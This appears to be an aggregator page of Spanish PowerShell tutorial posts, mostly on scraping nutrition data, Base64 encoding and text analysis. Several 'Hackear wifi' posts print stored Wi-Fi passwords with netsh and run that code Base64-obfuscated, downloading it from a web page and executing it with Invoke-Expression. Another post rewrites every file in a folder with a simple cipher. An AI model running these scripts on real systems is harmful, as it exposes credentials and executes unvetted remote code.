Quantcast
Channel: Replace | Operating systems, scripting, PowerShell and security | jesusninoc.com
Viewing all 237 articles
Browse latest View live

Calcular la información nutricional neta de un producto de consumo con PowerShell

$
0
0

$web = Invoke-WebRequest "https://www.alcampo.es/compra-online/productos-frescos/pescados-y-mariscos/anchoas-y-boquerones/anchoas/consorcio-anchoa-en-aceite-de-oliva-29-gramos/p/60139"

$productos = @{}

($web.AllElements | Where Class -eq “productNutritionalInformation valoresNutricionalesTabla”).innerHtml | %{
    ($_ -replace "</SPAN> <SPAN ","</SPAN>|<SPAN " -replace "<.*?>" -replace " g" -replace " Kj" -replace " Kcal" -split "`n" | ? {$_.trim() -ne ""} | ? {$_.trim() -notmatch "nutricionales"}).trim()
} | %{$productos.add($_.split("|")[0],$_.split("|")[1])}

$pesos = ($web.AllElements | Where Class -eq “productNutritionalInformation valoresNutricionalesTabla tablaInformacionAdicional”).innerText | %{
    ($_  -replace "<.*?>" -split "`n" | ? {$_.trim() -ne ""}).trim() -replace "g"
}

0..$pesos.Count | % {if($_%2-eq 0 -and $_ -lt 19){$productos.add($pesos[$_],$pesos[$_+1])}}

$productos.'Peso neto escurrido'
$productos.add('Valor energético(Kcal) Neto',($productos.'Valor energético(Kcal)' / 100)*$productos.'Peso neto escurrido')
$productos.add('Hidatos de carbono Neto',($productos.'Hidratos de carbono' / 100)*$productos.'Peso neto escurrido')
$productos.add('Grasas Netas',($productos.Grasas / 100)*$productos.'Peso neto escurrido')
$productos.add('Grasas saturadas Netas',($productos.'Grasas saturadas' / 100)*$productos.'Peso neto escurrido')
$productos.add('Azúcares Netos',($productos.Azúcares / 100)*$productos.'Peso neto escurrido')
$productos.add('Proteínas Netas',($productos.Proteínas / 100)*$productos.'Peso neto escurrido')

$productos.GetEnumerator() | sort -Property name

The post Calcular la información nutricional neta de un producto de consumo con PowerShell appeared first on Scripting and security.


Agregar la información nutricional de un producto de consumo a una lista

$
0
0

$web = Invoke-WebRequest "https://www.alcampo.es/compra-online/productos-frescos/pescados-y-mariscos/anchoas-y-boquerones/anchoas/consorcio-anchoa-en-aceite-de-oliva-29-gramos/p/60139"

$productos = @{}

($web.AllElements | Where Class -eq “productNutritionalInformation valoresNutricionalesTabla”).innerHtml | %{
    ($_ -replace "</SPAN> <SPAN ","</SPAN>|<SPAN " -replace "<.*?>" -replace " g" -replace " Kj" -replace " Kcal" -split "`n" | ? {$_.trim() -ne ""} | ? {$_.trim() -notmatch "nutricionales"}).trim()
} | %{$productos.add($_.split("|")[0],$_.split("|")[1])}

$productos

The post Agregar la información nutricional de un producto de consumo a una lista appeared first on Scripting and security.

United States Department of Agriculture Food Composition Databases with PowerShell

$
0
0

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$web = Invoke-WebRequest "https://ndb.nal.usda.gov/ndb/foods/show/85167"
$usda = ($web.AllElements | Where id -eq “nutdata").innerhtml | %{
    $_ -replace "<TD class=cspan>","#" -replace "</TR>","#" -replace "</TD>","|" -replace "<.*?>" -split "`n"  -join "" | ? {$_.trim() -ne ""}
}

$productos = @{}

$usda.split("#") -split "`n" | ? {$_.trim() -ne ""} | %{
    $productos.Add($_.split("|")[1].trim(),$_.split("|")[4].trim())
}

$productos.GetEnumerator()

The post United States Department of Agriculture Food Composition Databases with PowerShell appeared first on Scripting and security.

Calcular el valor nutricional de una o varias comidas del día con PowerShell

$
0
0

# Suma de todas las Kcal de la comida 
$SumaKcal = 0

# En el fichero alimento se encuentra el nombre del producto y la cantidad consumida
# Macarrones+gallo,200
# aceituna+hojiblanca+de+cultivo,50
# Aceite+de+oliva+virgen+extra+carbonell,10
# Nueces,50
# Pan,200

foreach ($alimentos in gc .\alimentos.txt){

    # Buscar el producto sobre el que calcular el valor nutricional
    $enlaces = Invoke-WebRequest ("https://www.alcampo.es/compra-online/search/?text="+$alimentos.split(",")[0])

    # Seleccionar el primer producto de la lista y calcular con dicho producto el valor nutricional
    $web = Invoke-WebRequest ("https://www.alcampo.es/" + (($enlaces.Links | Where Class -eq "productMainLink").href)[0])

    # Sirve para ver el producto elegido
    Start-Process chrome ("https://www.alcampo.es/" + (($enlaces.Links | Where Class -eq "productMainLink").href)[0])

    # Datos nutricionales del producto
    $productos = @{}

    # Extraer los valores nutricionales del producto
    ($web.AllElements | Where Class -eq “productNutritionalInformation valoresNutricionalesTabla”).innerHtml | %{
        ($_ -replace "</SPAN> <SPAN ","</SPAN>|<SPAN " -replace "<.*?>" -replace " g" -replace " Kj" -replace " Kcal" -split "`n" | ? {$_.trim() -ne ""} | ? {$_.trim() -notmatch "nutricionales"}).trim()
    } | %{$productos.add($_.split("|")[0],$_.split("|")[1])}

    $pesos = ($web.AllElements | Where Class -eq “productNutritionalInformation valoresNutricionalesTabla tablaInformacionAdicional”).innerText | %{
        ($_  -replace "<.*?>" -split "`n" | ? {$_.trim() -ne ""}).trim() -replace "g"
    }

    # Añadir los valores nutricionales del producto a la estructura
    0..$pesos.Count | % {if($_%2-eq 0 -and $_ -lt 19){$productos.add($pesos[$_],$pesos[$_+1])}}

    # Calcular el valor nutricional en función de la cantidad del alimento consumida
    $comidacantidad = $alimentos.split(",")[1]

    $productos.'Peso neto escurrido'
    $productos.add('Valor energético(Kcal) Neto',($productos.'Valor energético(Kcal)' / $productos.'Peso Neto')*$comidacantidad)
    $productos.add('Hidatos de carbono Neto',($productos.'Hidratos de carbono' / $productos.'Peso Neto')*$comidacantidad)
    $productos.add('Grasas Netas',($productos.Grasas / $productos.'Peso Neto')*$comidacantidad)
    $productos.add('Grasas saturadas Netas',($productos.'Grasas saturadas' / $productos.'Peso Neto')*$comidacantidad)
    $productos.add('Azúcares Netos',($productos.Azúcares / $productos.'Peso Neto')*$comidacantidad)
    $productos.add('Proteínas Netas',($productos.Proteínas / $productos.'Peso Neto')*$comidacantidad)

    $alimentos
    [Int]$productos.'Valor energético(Kcal) Neto'
    $SumaKcal += [Int]$productos.'Valor energético(Kcal) Neto'

    # Mostrar la estructura con los valores nutricionales
    # $productos.GetEnumerator() | sort -Property name
}

# Total de Kcal consumidas
$SumaKcal

The post Calcular el valor nutricional de una o varias comidas del día con PowerShell appeared first on Scripting and security.

Calcular el valor nutricional de un producto en PowerShell (buscando el producto en la tienda online de un supermercado)

$
0
0

# Buscar el producto sobre el que calcular el valor nutricional
$enlaces = Invoke-WebRequest "https://www.alcampo.es/compra-online/search/?text=macarrones+gallo"

# Seleccionar el primer producto de la lista y calcular con dicho producto el valor nutricional
$web = Invoke-WebRequest ("https://www.alcampo.es/" + (($enlaces.Links | Where Class -eq "productMainLink").href)[0])

# Datos nutricionales del producto
$productos = @{}

# Extraer los valores nutricionales del producto
($web.AllElements | Where Class -eq “productNutritionalInformation valoresNutricionalesTabla”).innerHtml | %{
    ($_ -replace "</SPAN> <SPAN ","</SPAN>|<SPAN " -replace "<.*?>" -replace " g" -replace " Kj" -replace " Kcal" -split "`n" | ? {$_.trim() -ne ""} | ? {$_.trim() -notmatch "nutricionales"}).trim()
} | %{$productos.add($_.split("|")[0],$_.split("|")[1])}

$pesos = ($web.AllElements | Where Class -eq “productNutritionalInformation valoresNutricionalesTabla tablaInformacionAdicional”).innerText | %{
    ($_  -replace "<.*?>" -split "`n" | ? {$_.trim() -ne ""}).trim() -replace "g"
}

# Añadir los valores nutricionales del producto a la estructura
0..$pesos.Count | % {if($_%2-eq 0 -and $_ -lt 19){$productos.add($pesos[$_],$pesos[$_+1])}}

# Calcular el valor nutricional en función de la cantidad del alimento consumido
$comidacantidad = 100

$productos.'Peso neto escurrido'
$productos.add('Valor energético(Kcal) Neto',($productos.'Valor energético(Kcal)' / $productos.'Peso Neto')*$comidacantidad)
$productos.add('Hidatos de carbono Neto',($productos.'Hidratos de carbono' / $productos.'Peso Neto')*$comidacantidad)
$productos.add('Grasas Netas',($productos.Grasas / $productos.'Peso Neto')*$comidacantidad)
$productos.add('Grasas saturadas Netas',($productos.'Grasas saturadas' / $productos.'Peso Neto')*$comidacantidad)
$productos.add('Azúcares Netos',($productos.Azúcares / $productos.'Peso Neto')*$comidacantidad)
$productos.add('Proteínas Netas',($productos.Proteínas / $productos.'Peso Neto')*$comidacantidad)

# Mostrar la estructura con los valores nutricionales
$productos.GetEnumerator() | sort -Property name

The post Calcular el valor nutricional de un producto en PowerShell (buscando el producto en la tienda online de un supermercado) appeared first on Scripting and security.

Conocer la relevancia de una búsqueda en Google

$
0
0

$urls='https://www.google.com/search?q=powershell'
$result=Invoke-WebRequest $urls
$valor=($result.AllElements | ? {$_.id -eq “resultStats”}).innerText
$valor=$valor.replace("Aproximadamente","").replace("resultados","").replace(".","")
$valor=$valor.Trim()
switch([Int]$valor)
{
{$_ -ge 0 -and $_ -le 1000}{"Poco importante"}
{$_ -ge 1001 -and $_ -le 10000}{"Algo importante"}
{$_ -ge 10000 -and $_ -le 100000000}{"Muy importante"}
}

The post Conocer la relevancia de una búsqueda en Google appeared first on Scripting and security.

Codificar en Base64 paso a paso con PowerShell

$
0
0

##########################################################################################################
#Texto en ASCII
##########################################################################################################
$val="hola"

##########################################################################################################
#Representar el texto ASCII en HEX
Write-Host "#############################################################"
Write-Host "Representar el texto ASCII en HEX"
Write-Host "#############################################################"
##########################################################################################################
0..($val.Length-1) | %{
$cadenah=[System.String]::Format("{0:X}", [System.Convert]::ToUInt32($val[$_]))
Write-Host $val[$_],$cadenah
}

##########################################################################################################
#Representar el texto ASCII en binario
Write-Host "#############################################################"
Write-Host "Representar el texto ASCII en binario"
Write-Host "#############################################################"
#Los caracteres que tienen 6 bits de representación se añaden dos bits delante para que sean 8 bits
#Los caracteres que tienen 7 bits de representación se añaden un bit delante para que sean 8 bits
##########################################################################################################
$cadenabalmacen=""
0..($val.Length-1) | %{
$cadenah=[System.String]::Format("{0:X}", [System.Convert]::ToUInt32($val[$_]))
$cadenab=([Convert]::ToString([Byte]::Parse($cadenah,[System.Globalization.NumberStyles]::HexNumber),2))

if($cadenab.Length -eq 6){$cadenab="00"+$cadenab}
if($cadenab.Length -eq 7){$cadenab="0"+$cadenab}

#Almacenar todos los valores representados en una variable
$cadenabalmacen+=$cadenab
Write-Host $cadenah,$cadenab
}
$cadenabalmacen

##########################################################################################################
#Crear grupos de 6 bits para el resultado de la representación del texto ASCII en binario
Write-Host "#############################################################"
Write-Host "Crear grupos de 6 bits para el resultado de la representación del texto ASCII en binario"
Write-Host "#############################################################"
##########################################################################################################
for($i=0;$i -lt $cadenabalmacen.Length; $i=$i+6)
{
[String]$cadenabalmacen[($i)..($i+5)] -replace " "
}

##########################################################################################################
#Convertir los grupos de 6 bits a decimal
Write-Host "#############################################################"
Write-Host "Convertir los grupos de 6 bits a decimal"
Write-Host "#############################################################"
##########################################################################################################
#Hay que asegurarse que todas las agrupaciones tienen 6 bits, por eso es necesario añadir bits
$bitsfaltan=([math]::Round($cadenabalmacen.Length/6)*6)-$cadenabalmacen.Length
#Si añadimos dos bits tenemos que añadir el caracter = cuando codifiquemos en Base 64 al final de la codificación
#Si añadimos cuatro bits tenemos que añadir los caracteres == cuando codifiquemos en Base 64 al final de la codificación
$espacio=""

for($i=0;$i -lt $cadenabalmacen.Length; $i=$i+6)
{
$binario=[String]$cadenabalmacen[($i)..($i+5)] -replace " "
if($binario.Length -eq 4){$binario=$binario+"00";$espacio="="}
if($binario.Length -eq 2){$binario=$binario+"0000";$espacio="=="}
$binario,[convert]::ToInt32($binario,2)
}

##########################################################################################################
#Representar el texto decimal en caracteres ASCII
Write-Host "#############################################################"
Write-Host "Representar el texto decimal en caracteres ASCII"
Write-Host "#############################################################"
##########################################################################################################
$finalcodificado=""
$cascii="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for($i=0;$i -lt $cadenabalmacen.Length; $i=$i+6)
{
$binario=[String]$cadenabalmacen[($i)..($i+5)] -replace " "
if($binario.Length -eq 4){$binario=$binario+"00";$espacio="="}
if($binario.Length -eq 2){$binario=$binario+"0000";$espacio="=="}
$finalcodificado+=$cascii[[convert]::ToInt32($binario,2)]
}
$finalcodificado+$espacio

The post Codificar en Base64 paso a paso con PowerShell appeared first on Scripting and security.

Hackear wifi con PowerShell

$
0
0

(netsh wlan show interface | Select-String SSID)[0] | %{
[String]$SSID=$_;
$SSID=$SSID.replace("SSID","").replace(":","").trim();
$SSID;
netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave';
}

The post Hackear wifi con PowerShell appeared first on Scripting and security.


Análisis de frecuencias de palabras en un texto con PowerShell (parte 4)

$
0
0

#Abrir el fichero texto.txt, añadir, agrupar y obtener la frecuencia de cada una de las palabras que contiene el fichero a una ArrayList

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in (gc .\texto.txt).Split(" ")){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arraylist | Group-Object | select Name,Count

Script sin comas y puntos

#Abrir el fichero texto.txt, añadir, agrupar y obtener la frecuencia cada una de las palabras que contiene el fichero a una ArrayList

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in (gc .\texto.txt).Replace(".","").Replace(",","").Split(" ")){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arraylist | Group-Object | select Name,Count

The post Análisis de frecuencias de palabras en un texto con PowerShell (parte 4) appeared first on Scripting and security.

Cifrar con un algoritmo sencillo el nombre y el contenido de un fichero de texto

$
0
0

ForEach($fichero in ls .)
{
#Cifrar el contenido del fichero
$cifrado=gc $fichero
$var=1
$textocifrado=(0..($cifrado.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($cifrado[$_].ToString(),0)+$var)}) -join ""

#Cifrar el nombre y añadir el contenido cifrado
#Quitamos los puntos y otros caracteres para no tener errores a la hora de crear el nuevo fichero cifrado
$ficherosin=$fichero.Name.Replace(".","")
$ficherosin
$ficherocifrado=(0..($ficherosin.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($ficherosin[$_].ToString(),0)+$var)}) -join ""
$textocifrado | Out-File $ficherocifrado
}

The post Cifrar con un algoritmo sencillo el nombre y el contenido de un fichero de texto appeared first on Scripting and security.

Convertir a binario las direcciones MAC de todos los dispositivos de red que hay en una red

Convertir a binario las direcciones MAC de los dispositivos de red

Hackear wifi con PowerShell (script en una línea)

Eliminar caracteres que no sean alfabéticos y conservar los caracteres que tengan acentos

Tabla de caracteres Base64

$
0
0

#Array que va a contener todos los caracteres en Base64
$arrayBase64=""
#Añadir al array las mayúsculas
$arrayBase64+=[char]'A'..[char]'Z' | %{[char]$_}
#Añadir al array las minúsculas
$arrayBase64+=[char]'a'..[char]'z' | %{[char]$_}
#Añadir al array los números
$arrayBase64+=[char]'0'..[char]'9' | %{[char]$_}
#Añadir al array el carácter + y /
$arrayBase64+="+"
$arrayBase64+="/"
#Quitar los espacios del array
$arrayBase64=$arrayBase64-replace " "
#Mostrar los caracteres
$arrayBase64
#Número de caracteres en Base64
$arrayBase64.Length
#Primer carácter
$arrayBase64[0]
#Último carácter
$arrayBase64[$arrayBase64.Length-1]

The post Tabla de caracteres Base64 appeared first on Scripting and security.


Hackear wifi con PowerShell (explicación codificando en Base64)

$
0
0

Opción 1 (el código codificado en Base64 es el código que se obtiene de la web)

#Código que se obtiene de la página web para sacar la contraseña del wifi
$codigo=((iwr 'https://www.jesusninoc.com/2017/01/31/hackear-wifi-con-powershell-script-en-una-linea/').AllElements | Where class -eq 'crayon-pre').innerText
$codigo

#Código codificado en Base64 para sacar la contraseña del wifi
$codigocargado=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($codigo))
$codigocargado

#Ejecutar el código codificado en Base64 para sacar la contraseña del wifi
Invoke-Expression "powershell -encodedcommand $codigocargado"
#Ejecutar el siguiente código codificado en Base64
Invoke-Expression "powershell -encodedcommand 'KABuAGUAdABzAGgAIAB3AGwAYQBuACAAcwBoAG8AdwAgAGkAbgB0AGUAcgBmAGEAYwBlACAAfAAgAFMAZQBsAGUAYwB0AC0AUwB0AHIAaQBuAGcAIABTAFMASQBEACkAWwAwAF0AIAB8ACAAJQB7AFsAUwB0AHIAaQBuAGcAXQAkAFMAUwBJAEQAPQAkAF8
AOwAkAFMAUwBJAEQAPQAkAFMAUwBJAEQALgByAGUAcABsAGEAYwBlACgAIgBTAFMASQBEACIALAAiACIAKQAuAHIAZQBwAGwAYQBjAGUAKAAiADoAIgAsACIAIgApAC4AdAByAGkAbQAoACkAOwAkAFMAUwBJAEQAOwBuAGUAdABzAGgAIAB3AGwAYQBuAC
AAcwBoAG8AdwAgAHAAcgBvAGYAaQBsAGUAIABuAGEAbQBlAD0AJABTAFMASQBEACAAawBlAHkAPQBjAGwAZQBhAHIAIAB8ACAAUwBlAGwAZQBjAHQALQBTAHQAcgBpAG4AZwAgACcAQwBvAG4AdABlAG4AaQBkAG8AIABkAGUAIABsAGEAIABjAGwAYQB2A
GUAJwA7AH0A'"

Opción 2 (el código codificado en Base64 es el cmdlet que se utiliza para la descarga del código que se obtiene de la web)

#Código que se necesita para obtener el script de la página web para sacar la contraseña del wifi
$codigo="((iwr 'https://www.jesusninoc.com/2017/01/31/hackear-wifi-con-powershell-script-en-una-linea/').AllElements | Where class -eq 'crayon-pre').innerText"
$codigo
"######"

#Código codificado en Base64 para sacar la contraseña del wifi
$codigocargado=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($codigo))
$codigocargado
"######"

#Ejecutar el código codificado en Base64 para sacar la contraseña del wifi
[String]$codigoparaejecutar=(Invoke-Expression "powershell -encodedcommand 'KAAoAGkAdwByACAAJwBoAHQAdABwADoALwAvAHcAdwB3AC4AagBlAHMAdQBzAG4AaQBuAG8AYwAuAGMAbwBtAC8AMgAwADEANwAvADAAMQAvADMAMQAvAGgAYQBjAGsAZQBhAHIALQB3AGkAZgBpAC0AYwBvAG4ALQBwAG8AdwBlAHIAcwBoAGUAbABsAC0
AcwBjAHIAaQBwAHQALQBlAG4ALQB1AG4AYQAtAGwAaQBuAGUAYQAvACcAKQAuAEEAbABsAEUAbABlAG0AZQBuAHQAcwAgAHwAIABXAGgAZQByAGUAIABjAGwAYQBzAHMAIAAtAGUAcQAgACcAYwByAGEAeQBvAG4ALQBwAHIAZQAnACkALgBpAG4AbgBlAH
IAVABlAHgAdAA='")
Invoke-Expression $codigoparaejecutar.Replace("Vector smash protection is enabled. ","")

[String]$codigoparaejecutar=(Invoke-Expression "powershell -encodedcommand $codigocargado")
Invoke-Expression $codigoparaejecutar.Replace("Vector smash protection is enabled. ","")

The post Hackear wifi con PowerShell (explicación codificando en Base64) appeared first on Scripting and security.

Listar los dominios de Cloudflare

$
0
0

#Listado los dominios de Cloudflare, Inc. que aparecen en la primera página en Netcraft
[String]$resultado=(Invoke-WebRequest "https://toolbar.netcraft.com/netblock?q=CLOUDFLARENET,104.16.0.0,104.31.255.255").AllElements.href | Select-String "site_report" | Select-String "https://" | Select-String -NotMatch "#"
$resultado.replace("/site_report?url=","").split(" ")

The post Listar los dominios de Cloudflare appeared first on Scripting and security.

Ver el avatar de un usuario de WordPress en tamaño gigante con PowerShell

Analizar la información de red en un dispositivo Android con ADB y PowerShell

$
0
0

$redandroid=.\adb.exe shell netstat
$redandroid

#Quitar espacios las partes de cada línea
$redandroid=$redandroid -replace("      "," ") -replace("   "," ") -replace("  "," ")

#Quitar espacios al principio y al final
$redandroid.trim() | %{$_}

#Mostrar la columna con las direcciónes IP remotas (Address)
$redandroid.trim() | %{$_.split(" ")[4]}

#Agrupar por dirección IP remota
$redandroid.trim() | %{
    $direccionremota=$_.split(" ")[4]
    if($direccionremota)
    {
        $direccionremota.split(":")[0] 
    }
} | Group-Object

#Consultar información sobre cada dirección IP agrupada
($redandroid.trim() | %{
    $direccionremota=$_.split(" ")[4]
    if($direccionremota)
    {
        $direccionremota.split(":")[0] 
    }
} | Group-Object | select Name).name | %{[Net.DNS]::GetHostEntry($_) | Format-Custom}

The post Analizar la información de red en un dispositivo Android con ADB y PowerShell appeared first on Scripting and security.

Leer artículos de la Wikipedia mediante la voz del Sistema Operativo con PowerShell

$
0
0

Add-Type -AssemblyName System.Speech
$synthesizer = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer
$synthesizer.SelectVoice("Microsoft Zira Desktop")
$synthesizer.Rate=0

$json=Invoke-WebRequest -Uri 'https://en.wikipedia.org/w/api.php?action=parse&format=json&prop=text&page=PowerShell' | ConvertFrom-JSON
 
$json.parse.text.'*' -replace "<.*?>" | %{
$synthesizer.Speak($_)
}

The post Leer artículos de la Wikipedia mediante la voz del Sistema Operativo con PowerShell appeared first on Scripting and security.

Viewing all 237 articles
Browse latest View live